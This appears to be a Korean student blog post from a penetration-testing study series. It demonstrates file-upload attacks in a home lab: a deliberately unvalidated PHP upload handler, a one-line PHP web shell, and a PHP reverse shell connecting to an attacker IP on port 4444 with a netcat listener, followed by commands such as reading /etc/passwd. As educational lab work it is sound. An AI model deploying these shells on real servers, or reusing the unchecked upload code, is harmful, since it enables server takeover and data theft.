목차
- 웹쉘 실습
- 리버스쉘 실습
- 웹쉘, 리버스쉘의 공통점 및 차이점
File Upload
공격자가 원하는 임의의 파일을 서버에 업로드할 수 있는 공격
Web Shell
- 인터넷 상에서 OS 명령을 내릴 수 있게 하는 파일
- 인터넷 OS 명령 인터프리터
▷ 기본 형태
<?php
echo system($_GET['cmd']);
?>
- cmd 파라미터를 GET 방식으로 받아서 system 함수로 OS 명령 실행
- 서버는 cmd 파라미터로 전달된 명령어를 실행시켜서 결과 화면을 웹 브라우저에 전달
▷ 서버측 파일 업로드 처리 코드
<?php
//db연결 생략
if (isset($_FILES['image']) && $_FILES['image']['error'] === 0) {
$img_name = basename($_FILES['image']['name']);
$file_path = "img/";
$targetPath = $file_path . uniqid() . '_' . $img_name;
if(move_uploaded_file($_FILES['image']['tmp_name'],$targetPath)) {
$uploadFile = $targetPath;
$insert_sql = "INSERT INTO upload_table(id,title,image_url,description,nick) VALUES(? ,? , ? , ? , ?)";
$stmt = $db_conn->prepare($insert_sql);
$stmt->bind_param("sssss",$id,$title,$uploadFile,$description,$nick);
if ($stmt->execute()) {
$idx = $stmt ->insert_id; //이 세션에서 삽입된 가장 최근 idx값 가져오기
echo "<script>
alert('게시물이 정상적으로 업로드되었습니다.');
location.href='post.php?id=$idx';
</script>"; //올린 게시물로 이동
exit;
} else {
echo "<script>alert('게시물이 저장되지 않았습니다." . mysqli_error($db_conn)."');</script>";
}
} else {
echo "<script>
alert('파일이 서버에 저장되지 않았습니다');
</script>";
}
} else {
echo "<script>
alert('파일이 선택되지 않았거나 업로드 오류가 발생했습니다.');
</script>";
}
?>
- 파일이 에러 없이 제출됐다면 파일 이름을 뽑아 저장 경로와 랜덤한 식별값을 덧붙여 최종 파일 경로 저장
- 서버에 파일이 저장됐다면 매개변수를 prepared statement에 바인딩
- 준비된 insert문이 잘 실행됐다면 사용자가 업로드한 게시글에 해당하는 idx값을 뽑아 게시글 읽기 페이지로 이동
☞ 파일 업로드 시 이미지 파일인지 검증하지 않고 있음
▷ 웹쉘 실습
필요한 데이터를 입력한 후 "올리기" 버튼 클릭 |
정상 업로드를 알리는 alert 창 확인 |
location.href로 게시물 읽기 페이지 이동 업로드 폼에 입력한 데이터가 출력되고 있음 |
DB에도 저장됨 |
업로드한 파일이 출력되는 부분을 우클릭하고 "이미지 주소 복사" 클릭 |
브라우저의 새 탭을 열고 복사한 파일 주소 붙여넣은 후 이동 |
아무것도 나오지 않는 빈 화면 확인 |
cmd 파라미터에 ls (현재 디렉토리 파일 목록 출력) 명령어 넣어서 재요청 |
현재 img 디렉토리에 저장된 모든 파일명 출력되는 것을 확인 |
id 명령어 입력 결과 웹쉘을 실행하는 사용자 및 그룹 아이디가 출력됨 |
||
uid | gid | groups |
* 현재 프로세스(웹쉘)을 실행하는 사용자의 아이디 (www-data 사용자 권한으로 실행되는 중) * root 계정은 uid=0(root) |
* 현재 사용자가 속한 주 그룹의 아이디 (www-data 그룹에 속함) * root 계정은 gid=0(root) |
* 프로세스를 실행한 사용자가 속한 모든 그룹 표시 (현재 주 그룹에만 속해있음) * root 계정은 groups=0(root) + a |
현재 권한 정도를 알 수 있음 여기서 root 계정이 나오면 서버를 완전 제어 가능 |
ls ../ 명령어 입력 결과 img 디렉토리의 상위 디렉토리에 저장된 모든 파일 목록 출력됨 (ㅁㅊ) |
Reverse Shell
- 공격자 서버에서 타겟 서버의 쉘을 원격으로 이용할 수 있게 하는 공격
▷ 순서
- 공격자가 타겟 사이트에 리버스쉘 파일 업로드
- 공격자가 타겟 서버와 연결할 포트를 열어둠 (리스닝)
- 리버스쉘을 실행하게 함 (url 파일 요청)
- 타겟 서버가 공격자 서버에 연결 시도함
- 연결이 완료된 후 공격자 서버의 터미널에서 명령어 입출력 확인
▷ 타겟 서버에 업로드할 리버스쉘 코드
<?php
$ip = "공격자 서버 ip";
$port = "4444";
$sock = fsockopen($ip, $port);
//공격자 서버의 ip와 포트를 매개로 타겟 서버가 공격자 서버로 연결
$proc = proc_open('/bin/sh',
[0=>$sock, 1=>$sock, 2=>$sock],
$pipes);
//연결한 소켓을 통해 /bin/sh 형태의 명령어와 실행 결과 등을 공격자 서버로 전달
//0(명령어 입력), 1(실행결과), 2(오류메시지)
//입력한 명령어->$pipes[0], 실행 결과->$pipes[1], 오류메시지->$pipes[2]에 저장되어 전달
?>
▷ 공격자 서버가 쉘 연결 대기를 위해 실행할 코드
nc -lvp 4444
☞ Netcat (nc)
- TCP를 연결하여 데이터를 주고 받거나 읽고 기록할 수 있는 유틸리티
- 포트 스캐닝, 파일 전송, 네트워크 연결 등 가능
☞ 옵션
- -l : 리스너 모드 활성화 (이거 없으면 연결을 받는 게 아니라 시도하는 역할이 됨)
- -v : 자세한 정보 출력 (연결 상태 확인)
- -p 4444 : 포트 4444에서 대기
☞ 포트 4444에서 리스너 모드 활성해두고, 연결 들어오면 자세한 정보 출력할 거임
▷ 실습하기
- 타겟 서버 : 리눅스 우분투 가상머신 (내가 만든 사이트)
- 공격자 서버 : 칼리 리눅스 가상머신
리버스쉘 코드를 포함한 파일 업로드 |
공격자 서버 (칼리 리눅스)의 netcat으로 리스너 모드 활성 |
업로드한 파일의 주소를 복사 |
다른 탭의 주소창에 붙여넣고 요청 서버가 코드를 실행하게 함 |
공격자 서버의 터미널에서 타겟서버와 연결되었다는 메시지를 확인 |
** inverse 어쩌구 => 타겟 서버(우분투)의 DNS가 조회되지 않음 (당연함 도메인 이름 설정 안했음) ** connect to 어쩌구 => 타겟 서버(37966포트)가 공격자 서버(4444포트)로 연결 시도함 |
id 명령어와 ls 명령어를 실행한 결과가 공격자 터미널에 출력된 모습 |
/etc/passwd 파일의 내용을 출력한 모습 |
찾아낸 사용자 정보로 추가 공격을 시도할 수 있음 |
Web Shell VS Reverse Shell
- 공통점과 차이점
Web Shell | Reverse Shell | ||
공통점 | -> 파일 업로드 공격으로 실행 가능 -> 서버가 명령을 수행하게 함 |
||
차이점 | 서버 연결 | 연결 필요 없음 | 연결 필요 |
실행 위치 | 웹 브라우저에서 조종 **코드 실행은 타겟 서버가 하지만 명령어 전달이나 결과 확인은 웹에서 함 |
공격자 서버에서 원격으로 조종 |
[+] 이 구역 매너
파일 업로드 실습 후 삭제하기~
'모의해킹 스터디 과제' 카테고리의 다른 글
모의해킹 스터디 12주차 과제: CTF - CSRF로 관리자 비번 변경 (1) | 2025.01.29 |
---|---|
모의해킹 스터디 11주차 과제: CTF - XSS로 데이터 추출 (0) | 2024.12.31 |
모의해킹 스터디 7주차 과제(2): CTF - Blind SQLi (2) | 2024.12.08 |
모의해킹 스터디 7주차 과제(1): CTF - Error-Based SQLi (0) | 2024.12.03 |
모의해킹 스터디 6주차 과제: CTF - UNION SQL Injection (2) | 2024.11.29 |